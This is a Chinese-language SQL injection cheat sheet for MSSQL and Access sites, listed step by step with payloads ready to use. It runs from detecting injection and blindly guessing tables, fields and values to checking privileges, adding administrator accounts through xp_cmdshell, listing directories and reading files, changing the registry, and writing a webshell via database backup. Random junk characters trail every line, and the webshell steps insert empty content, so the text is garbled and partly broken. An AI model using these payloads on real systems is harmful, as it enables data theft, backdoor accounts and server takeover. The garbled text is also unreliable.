1.判断是否有注入;and 1=1 ;and 1=2 Vd[[<
2.初步判断是否是mssql ;and user>0 Wa%Zt*7
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3.注入参数是字符'and [查询条件] and ''=' /i|T \
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' b>AFhj :
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5.判断数据库系统 >h/J{T(P>h
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;and (select count(*) from sysobjects)>0 mssql \w{x-}
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;and (select count(*) from msysobjects)>0 access s`ly#+!.
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 =h^cfyj
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Q*mzfsgr
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 mXT{)pU
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9.(1)猜字段的ascii值(access) T<06y3sN
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 w@7NoD=
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(2)猜字段的ascii值(mssql) Er?Wg 09
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 CZv.$H"lW
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10.测试权限结构(mssql) j8?z@iG
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- =]yJvn"
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- MCU{@\?Xf
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- *yOpMxE
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- O.CRF-`t
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- _, /m
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- P0,)
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;and 1=(select IS_MEMBER('db_owner'));-- 7%L%dyN
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11.添加mssql和系统的帐户 (L_txd4
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;exec master.dbo.sp_addlogin username;-- gbM#jhQ
;exec master.dbo.sp_password null,username,password;-- }Og zSnR
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7(lR$,bE;=
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;exec master.dbo.xp_cmdshell 'net user username password LF?83P,UJ#
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- /rN%y
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- A"FlH:Pn
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 1$ez}k,
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12.(1)遍历目录 {X<mr~
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;create table dirs(paths varchar(100), id int) U8kH'OD
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 7
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;and (select top 1 paths from dirs)>0 Px5ArSS
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) u{xjFx-
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(2)遍历目录 5*~Mv<#
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- p"f=[awp
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 2j8^Z
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 xnWCio>M
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 _,(]T&j #2
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 w-\U;&8
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13.mssql中的存储过程 FU/yJy
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xp_regenumvalues 注册表根键, 子键 4a]m=]Hm
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 B8-v!4b0`
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xp_regread 根键,子键,键值名 w_|R.T\7
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;exec xp_regread =\.Oc+p4
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 D"_~Njf
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xp_regwrite 根键,子键, 值名, 值类型, 值
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ?n)r1m
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xp_regdeletevalue 根键,子键,值名 `"QUA G
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 (v(!l=3
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 z!27#gbL
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14.mssql的backup创建webshell !PUbaF-.6
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use model e\i K
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create table cmd(str image); {n}6
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insert into cmd(str) values (''); c7T9kV8hS
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backup database model to disk='c:\l.asp'; %J4]T35^2
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15.mssql内置函数 "8|y
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;and (select @@version)>0 获得Windows的版本号 opTDW)
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Z0T{1YEJ
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;and (select user_name())>0 爆当前系统的连接用户 Et~b^8$>
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;and (select db_name())>0 得到当前连接的数据库 h+F@apUS
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16.简洁的webshell I$0JAy
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use model k+S+: 5
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create table cmd(str image); =1t#$JG
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insert into cmd(str) values (''); rZ<0ks
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backup database model to disk='g:\wwwtest\l.asp';